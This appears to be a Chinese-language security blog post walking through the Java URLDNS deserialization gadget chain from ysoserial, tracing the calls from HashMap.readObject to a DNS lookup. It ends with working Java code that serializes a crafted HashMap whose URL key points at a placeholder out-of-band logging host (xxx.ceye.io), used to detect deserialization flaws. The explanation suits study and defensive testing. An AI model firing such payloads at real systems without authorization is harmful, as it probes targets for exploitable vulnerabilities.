返回
Featured image of post java 反序列化-2

java 反序列化-2

go!

Java 反序列化-2

URLDNS

URLDNS 就是ysoserial中⼀个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不是⼀个可以“利用”的命令,而仅为⼀个URL,其能触发的结果仅仅是⼀次DNS请求。

实际情况中,会有以下好处:

  • 使用 Java 内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞

分析

该链最后返回的对象是HashMap,查看其readObject方法:

在上图标红处,对key,即键名计算了hash,跟进:

key 不存在就为0,存在即调用键名的hashCode方法,该链 payload 中的 key 为java.net.URL对象,直接跳至该类的hashCode方法:

hashCode 不等于 -1 则直接返回,因此在构造 payload 时,需要设置 hashCode = -1。当为-1时,调用handlerhashCode方法,这里为 URLStreamHandler 类,跟进其hashCode方法:

这里调用了getHostAddress方法,继续跟进:

调用InetAddress.getByName(host) ,其作用是根据主机名,获取其IP地址,在网络上其实就是⼀次DNS查询。

调用链

至此,整个 URLDNS 的调用链就是如下:

HashMap->readObject()
HashMap->hash(key=URL)
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName(host)

因此,payload 构造方法就是:HashMap 的 key 为java.net.URL 对象,并且设置该个 URL 对象初始 hashCode 为 -1,这样才会触发重新计算的流程。

payload:

HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL u = new URL("http://xxx.ceye.io/");
Class c = u.getClass();
Field f = c.getDeclaredField("hashCode");
f.setAccessible(true);
// 这里是为了防止在 put 时直接触发 DNS,因为 put 方法中也是同样对 key 做 hash
f.set(u, 777);
hashMap.put(u, "cool");
// 把 hashcode 改为 -1,还原
f.set(u, -1);

FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(hashMap);
os.close();
Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy